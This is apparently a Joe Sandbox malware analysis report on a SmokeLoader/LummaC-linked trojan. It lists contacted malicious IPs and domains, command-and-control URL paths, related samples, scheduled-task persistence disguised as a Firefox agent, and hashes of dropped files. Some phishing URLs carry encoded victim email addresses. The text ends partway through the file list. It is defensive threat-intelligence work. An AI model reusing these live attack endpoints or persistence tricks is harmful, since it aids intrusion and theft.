https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img	explorer.exe, 00000001.00000000.1777426774.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://api.msn.com/	explorer.exe, 00000001.00000000.1779684746.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/news/politics/exclusive-john-kelly-goes-on-the-record-to-confirm-several-d	explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://outlook.com_	explorer.exe, 00000001.00000000.1783714743.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	explorer.exe, 0000000C.00000003.2706066309.0000000003441000.00000004.00000020.00020000.00000000.sdmp, DF4B.tmp.12.dr	false	URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark	explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com:443/en-us/feed	explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://www.rd.com/newsletter/?int_source=direct&int_medium=rd.com&int_campaign=nlrda_20221001_toppe	explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://www.msn.com/en-us/news/world/agostini-krausz-and-l-huillier-win-physics-nobel-for-looking-at	explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://www.msn.com/en-us/weather/topstories/rest-of-hurricane-season-in-uncharted-waters-because-of	explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
23.145.40.168	ninjahallnews.com	Reserved	22631	SURFAIRWIRELESS-IN-01US	true
211.171.233.129	unknown	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	true
109.175.29.39	nwgrus.ru	Bosnia and Herzegowina	9146	BIHNETBIHNETAutonomusSystemBA	true
23.145.40.164	unknown	Reserved	22631	SURFAIRWIRELESS-IN-01US	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1528498
Start date and time:	2024-10-08 00:18:33 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	39
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	bCnarg2O62.exe renamed because original name is a hash value
Original Sample Name:	fa949a7589dc71ea006eb10ad025618a.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@62/14@5/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 96% Number of executed functions: 150 Number of non-executed functions: 85
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 4.245.163.56, 88.221.110.91, 2.16.100.168
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, otelrules.azureedge.net, otelrules.afd.azureedge.net, ctldl.windowsupdate.com, a767.dspw65.akamai.net, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, ocsp.digicert.com, ocsp.edge.digicert.com, sls.update.microsoft.com, azureedge-t-prod.trafficmanager.net, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: bCnarg2O62.exe

Simulations

Behavior and APIs

Time	Type	Description
18:19:51	API Interceptor	207355x Sleep call for process: explorer.exe modified
18:21:06	API Interceptor	14x Sleep call for process: WMIC.exe modified
23:19:54	Task Scheduler	Run new task: Firefox Default Browser Agent 01E1BB247BE80AD9 path: C:\Users\user\AppData\Roaming\derhswe
23:20:40	Task Scheduler	Run new task: Firefox Default Browser Agent 71CD91AEBED31792 path: C:\Users\user\AppData\Roaming\jfrhswe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
211.171.233.129	rFdy6Oh3xT.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer, SmokeLoader	Browse	mzxn.ru/tmp/index.php
	file.exe	Get hash	malicious	Babuk, Djvu	Browse	cajgtus.com/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637
	lzShU2RYJa.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	cajgtus.com/files/1/build3.exe
	IzXkxsTrEt.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	sdfjhuz.com/dl/build2.exe
	SKHOtnHl7J.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, SmokeLoader, Socks5Systemz, Stealc	Browse	trmpc.com/check/index.php
	p2xoB50aKi.exe	Get hash	malicious	SmokeLoader, Vidar	Browse	sjyey.com/tmp/index.php
	RnnWoAEP9mUhOXN_9mNdOzaP.exe	Get hash	malicious	Amadey, SmokeLoader	Browse	cbinr.com/forum/index.php
	qpPYm1rHOS.exe	Get hash	malicious	Amadey, SmokeLoader	Browse	cbinr.com/forum/index.php
	8TmTmPo08O.exe	Get hash	malicious	LummaC, Glupteba, SmokeLoader, Stealc	Browse	sjyey.com/tmp/index.php
	38QTCIw4QJ.exe	Get hash	malicious	LummaC, Babuk, Djvu, PureLog Stealer, RedLine, SmokeLoader, zgRAT	Browse	habrafa.com/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637
109.175.29.39	veEGy9FijY.exe	Get hash	malicious	SmokeLoader	Browse	nwgrus.ru/tmp/index.php
	Cjmw6m68OV.exe	Get hash	malicious	SmokeLoader	Browse	nwgrus.ru/tmp/index.php
	82HD7ZgYPA.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer, SmokeLoader	Browse	100xmargin.com/tmp/index.php
	HliN0ju7OT.exe	Get hash	malicious	LummaC, Go Injector, SmokeLoader	Browse	yosoborno.com/tmp/
	file.exe	Get hash	malicious	Babuk, Djvu	Browse	cajgtus.com/test1/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4
	file.exe	Get hash	malicious	Babuk, Djvu	Browse	cajgtus.com/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637
	xvJv1BpknZ.exe	Get hash	malicious	LummaC, CryptOne, LummaC Stealer, SmokeLoader, Vidar	Browse	dbfhns.in/tmp/index.php
	file.exe	Get hash	malicious	Babuk, Djvu, PrivateLoader	Browse	cajgtus.com/lancer/get.php?pid=903E7F261711F85395E5CEFBF4173C54
	SecuriteInfo.com.Win32.RansomX-gen.4067.126.exe	Get hash	malicious	LummaC, Amadey, Glupteba, LummaC Stealer, Mars Stealer, RedLine, SmokeLoader	Browse	trmpc.com/check/index.php
	7vMi37TpMO.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Mars Stealer, SmokeLoader, Socks5Systemz, Stealc	Browse	kamsmad.com/tmp/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
nwgrus.ru	BzLGqYKy7o.exe	Get hash	malicious	SmokeLoader	Browse	105.197.97.247
	UV2uLdRZix.exe	Get hash	malicious	SmokeLoader	Browse	185.12.79.25
	LKpIHL2abO.exe	Get hash	malicious	SmokeLoader	Browse	197.164.156.210
	wu5C20dPdy.exe	Get hash	malicious	SmokeLoader	Browse	190.147.128.172
	HaPJ2rPP6w.exe	Get hash	malicious	SmokeLoader	Browse	177.129.90.106
	c7v62g0YpB.exe	Get hash	malicious	SmokeLoader	Browse	190.147.2.86
	9VgIkx4su0.exe	Get hash	malicious	SmokeLoader	Browse	190.224.203.37
	veEGy9FijY.exe	Get hash	malicious	SmokeLoader	Browse	58.151.148.90
	v173TV3V11.exe	Get hash	malicious	SmokeLoader	Browse	190.219.117.240
	0k3ibTiMjy.exe	Get hash	malicious	SmokeLoader	Browse	189.61.54.32
s-part-0017.t-0009.t-msedge.net	9Y6R8fs0wd.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	PFW1cgN8EK.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	https://url.avanan.click/v2/r01/___https://www.tiktok.com/qnspdA7?fni=6cbb&qfsl=js&xhjsj=gnt_zwq&yfwljy=myyux:ddBBB.lttlqj.ht.zpdzwq?v=frudxdBjlfmjfqymhfwj.ht.pjd.kwjsy___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzpiNGZlZGFhNjcxOTBhYjU4MTE5MjBlZTRiYTAxZmUwMTo3OmIxYWM6MDg1ODNlNjljZDkwNThkM2ZiM2RjYTI4MzFjZGY4NGFmMTYyZTlhYmVjYWYxY2Q4MmNkZDhiNmFmOWVkOWUxOTpoOlQ6VA#Sm9hbi5LbmlwcGVuQEVsa2F5LkNvbQ==	Get hash	malicious	Unknown	Browse	13.107.246.45
	SecuriteInfo.com.Win32.PWSX-gen.27846.23954.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	https://login.stmarytx.edu/cas/logout?service=http%3A%2F%2Fgoogle.com%2Famp%2Fmatrikaengineeringworks.com/hebc/?#?m=bWVsaXNzYWdAd2Utd29ybGR3aWRlLmNvbQ==	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://dsdhie.org/dsjhem	Get hash	malicious	Unknown	Browse	13.107.246.45
	SecuriteInfo.com.Win32.PWSX-gen.19404.14810.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	+18365366724753456-83736-10244688.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	https://s.craft.me/yB5midhwwaHUPW	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	https://t.dripemail3.com/c/eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJkZXRvdXIiLCJpc3MiOiJtb25vbGl0aCIsInN1YiI6ImRldG91cl9saW5rIiwiaWF0IjoxNzI4MzA1Mzk4LCJuYmYiOjE3MjgzMDUzOTgsImFjY291bnRfaWQiOiIyNzYyNjA5IiwiZGVsaXZlcnlfaWQiOiJpeHI5d3pqeGcwZnI2NGJjbGwycyIsInRva2VuIjoiaXhyOXd6anhnMGZyNjRiY2xsMnMiLCJzZW5kX2F0IjoxNzI4MzA0MzU0LCJlbWFpbF9pZCI6OTk2Mzg3MCwiZW1haWxhYmxlX3R5cGUiOiJCcm9hZGNhc3QiLCJlbWFpbGFibGVfaWQiOjM5NTM4MjUsInVybCI6Imh0dHBzOi8vZGFpbHlhbGFza2EuY29tL25ld3M_X19zPWw5bzljOTZzbG8xZjF3aGFiODZrJnV0bV9zb3VyY2U9ZHJpcCZ1dG1fbWVkaXVtPWVtYWlsJnV0bV9jYW1wYWlnbj1TcHJpbmcraGFzK3NwcnVuZyslRjAlOUYlOEMlQjEifQ.HIDfaWGNVn-TCtUT4qZNHq7EdymoLEqvVA8XxZBU8z8	Get hash	malicious	HtmlDropper	Browse	13.107.246.45
fp2e7a.wpc.phicdn.net	9Y6R8fs0wd.exe	Get hash	malicious	LummaC	Browse	192.229.221.95
	http://xdr.euw31usea1-carbonhelixbytedandomaincontrolpanele-for-github.sentinelone.net/	Get hash	malicious	Unknown	Browse	192.229.221.95
	PFW1cgN8EK.exe	Get hash	malicious	LummaC	Browse	192.229.221.95
	https://url.avanan.click/v2/r01/___https://www.tiktok.com/qnspdA7?fni=6cbb&qfsl=js&xhjsj=gnt_zwq&yfwljy=myyux:ddBBB.lttlqj.ht.zpdzwq?v=frudxdBjlfmjfqymhfwj.ht.pjd.kwjsy___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzpiNGZlZGFhNjcxOTBhYjU4MTE5MjBlZTRiYTAxZmUwMTo3OmIxYWM6MDg1ODNlNjljZDkwNThkM2ZiM2RjYTI4MzFjZGY4NGFmMTYyZTlhYmVjYWYxY2Q4MmNkZDhiNmFmOWVkOWUxOTpoOlQ6VA#Sm9hbi5LbmlwcGVuQEVsa2F5LkNvbQ==	Get hash	malicious	Unknown	Browse	192.229.221.95
	SecuriteInfo.com.Win32.PWSX-gen.27846.23954.exe	Get hash	malicious	LummaC	Browse	192.229.221.95
	utmggBCMML.exe	Get hash	malicious	LummaC	Browse	192.229.221.95
	Bn7LPdQA1s.exe	Get hash	malicious	LummaC, Vidar	Browse	192.229.221.95
	https://login.stmarytx.edu/cas/logout?service=http%3A%2F%2Fgoogle.com%2Famp%2Fmatrikaengineeringworks.com/hebc/?#?m=bWVsaXNzYWdAd2Utd29ybGR3aWRlLmNvbQ==	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://communications-chamber-confidentiality-limitation.trycloudflare.com/spec/#bWNhcnR3cmlnaHRAY2hlbXVuZ2NhbmFsLmNvbQ==	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://url.avanan.click/v2/r01/___https://www.tiktok.com/qnspdA7?fni=6cbb&qfsl=js&xhjsj=gnt_zwq&yfwljy=myyux:ddBBB.lttlqj.hfdzwq?v=frudxdkniljyAkC.sEd.frl___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzo2MGY0ZmI3MTkzODQ4OWRiOGFlZjY2ODI4ODlkMDk3NDo3OmRlYjY6NjI5YzkxZjFmNmQ3ZjI1NWIxN2UwYTI5ZTNmZjcyMTQyNTg3NmZhMDQyOWZlMDI4MDhmODRlNWVhYWU3MjJhZDpoOlQ6VA#ZHN5aHJlQG9sZ29vbmlrLmNvbQ==	Get hash	malicious	Unknown	Browse	192.229.221.95

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
LGDACOMLGDACOMCorporationKR	2UngC9fiGa.elf	Get hash	malicious	Mirai, Okiru	Browse	106.254.133.76
	na.elf	Get hash	malicious	Gafgyt	Browse	211.237.8.93
	na.elf	Get hash	malicious	Gafgyt	Browse	27.255.85.18
	na.elf	Get hash	malicious	Gafgyt	Browse	211.237.8.97
	na.elf	Get hash	malicious	Gafgyt	Browse	27.255.85.30
	na.elf	Get hash	malicious	Gafgyt	Browse	27.255.85.35
	xd.arm.elf	Get hash	malicious	Mirai	Browse	165.132.246.42
	SOA SIL TL382920.exe	Get hash	malicious	FormBook	Browse	121.254.178.239
	UV2uLdRZix.exe	Get hash	malicious	SmokeLoader	Browse	211.181.24.133
	WhiteDefenderSetup64_20201118.exe	Get hash	malicious	GuLoader	Browse	211.171.245.2
SURFAIRWIRELESS-IN-01US	BzLGqYKy7o.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	UV2uLdRZix.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	LKpIHL2abO.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	wu5C20dPdy.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	HaPJ2rPP6w.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	c7v62g0YpB.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
	9VgIkx4su0.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
	veEGy9FijY.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
	v173TV3V11.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
	0k3ibTiMjy.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
BIHNETBIHNETAutonomusSystemBA	UV2uLdRZix.exe	Get hash	malicious	SmokeLoader	Browse	185.12.79.25
	veEGy9FijY.exe	Get hash	malicious	SmokeLoader	Browse	109.175.29.39
	http://iss.fmpvs.gov.ba/Home/ChangeCulture?lang=hr&returnUrl=https://aaqkada0nzi2n2jhlthmzditndjinc1hz.hanskiin7.com/782340117681873687911955xbixgen-pgx-783419043035-ifxyeonkim-isxskyline-holt.comsf-1sf_rand()	Get hash	malicious	HTMLPhisher	Browse	109.175.10.156
	Cjmw6m68OV.exe	Get hash	malicious	SmokeLoader	Browse	109.175.29.39
	O9M84hUenb.elf	Get hash	malicious	Mirai, Okiru	Browse	92.36.229.158
	h8jGj6Qe78.exe	Get hash	malicious	CryptOne, SmokeLoader, Stealc, Vidar	Browse	92.36.226.66
	82HD7ZgYPA.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer, SmokeLoader	Browse	109.175.29.39
	fEz10JQnRZ.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer, SmokeLoader	Browse	92.36.226.66
	D9pL02CCa3.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer, SmokeLoader	Browse	92.36.226.66
	P61q5FVlmo.exe	Get hash	malicious	LummaC, Go Injector, SmokeLoader	Browse	92.36.226.66
SURFAIRWIRELESS-IN-01US	BzLGqYKy7o.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	UV2uLdRZix.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	LKpIHL2abO.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	wu5C20dPdy.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	HaPJ2rPP6w.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	c7v62g0YpB.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
	9VgIkx4su0.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
	veEGy9FijY.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
	v173TV3V11.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
	0k3ibTiMjy.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
72a589da586844d7f0818ce684948eea	BzLGqYKy7o.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	UV2uLdRZix.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	LKpIHL2abO.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	wu5C20dPdy.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	HaPJ2rPP6w.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	c7v62g0YpB.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	9VgIkx4su0.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	veEGy9FijY.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	v173TV3V11.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	0k3ibTiMjy.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
a0e9f5d64349fb13191bc781f81f42e1	9Y6R8fs0wd.exe	Get hash	malicious	LummaC	Browse	23.145.40.168
	file.exe	Get hash	malicious	LummaC	Browse	23.145.40.168
	PFW1cgN8EK.exe	Get hash	malicious	LummaC	Browse	23.145.40.168
	file.exe	Get hash	malicious	LummaC	Browse	23.145.40.168
	SecuriteInfo.com.Win32.PWSX-gen.27846.23954.exe	Get hash	malicious	LummaC	Browse	23.145.40.168
	utmggBCMML.exe	Get hash	malicious	LummaC	Browse	23.145.40.168
	lihZ6gUU7V.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	23.145.40.168
	Bn7LPdQA1s.exe	Get hash	malicious	LummaC, Vidar	Browse	23.145.40.168
	file.exe	Get hash	malicious	LummaC	Browse	23.145.40.168
	SecuriteInfo.com.Win32.PWSX-gen.19404.14810.exe	Get hash	malicious	LummaC	Browse	23.145.40.168

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	453632
Entropy (8bit):	6.3528472110057015
Encrypted:	false
SSDEEP:	6144:rBS3kQBgyTmD60mDGMiH64vt3ro87JKn6+hNtzRUpy6BbO42Tn:YUQBgyXGMslJKnv2NO4O
MD5:	02F50094664F74B387AC57B1DE8679AF
SHA1:	E4DC28C4D8FD6C9010CA95B978133B46CAC5148E
SHA-256:	A9276BC533A2BB42308613EAF590FD97F662E81A4C4F1A1BE43709AE3B923432
SHA-512:	DE298772E5232A547BF7DDCDC45EF9A84BAF46911994D80E93F9F75CD00EE1EA474892AF98C82FD96E343F7A858A3627C39E22E2D17496C13A81950B86F72895
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........;..B;..B;..BT.bB#..BT.WB...BT.VBW..B2.oB<..B;..B...BT.SB:..BT.fB:..BT.aB:..BRich;..B........................PE..L....cd.............................;............@..................................o..........................................P...................................0...............................h...@............................................text............................... ..`.rdata..............................@..@.data............`..................@....xexolu.............................@..@.naxurew............................@..@.havi...............................@....rsrc...............................@..@........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9245.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	modified
Size (bytes):	78336
Entropy (8bit):	6.394001797252911
Encrypted:	false
SSDEEP:	768:WPQkadQWo2lXlxiK/0PJMQ2VGhm9EGFDe8MRDiNfYg9TQRkAuHi5yvaIoFVr1VML:NBfdSKvVwDEhAuBhoL/MnJ0iXD46w0
MD5:	65AEAA0A0849CB3CE9BC15BCBF0B7B9F
SHA1:	BA7888FFDB978851F38C4CAC82D58D8CD9A6F077
SHA-256:	B139090C797214F88A2EA451289AB670000936C413CD2CD45AAA9895C78C63B5
SHA-512:	938CE106217E9CE98F104AF0913054070C2CC5791DFAA9902540CAEF923579B8DE0AF0ED720753BC40ADC75D7E286ACCDE7198315805331F25BE3F312C23F0BC
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........v....................................b......b......b......Rich............PE..d......f.........."..........>.................@.............................p............`..................................................(...............P...............`.......................................................................................text...x........................... ..`.rdata...&.......(..................@..@.data...h....@......................@....pdata.......P......."..............@..@.reloc.......`.......0..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CD06.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CD06.tmp-shm

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\D515.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\D805.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DDC3.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DF4B.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\E0D2.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
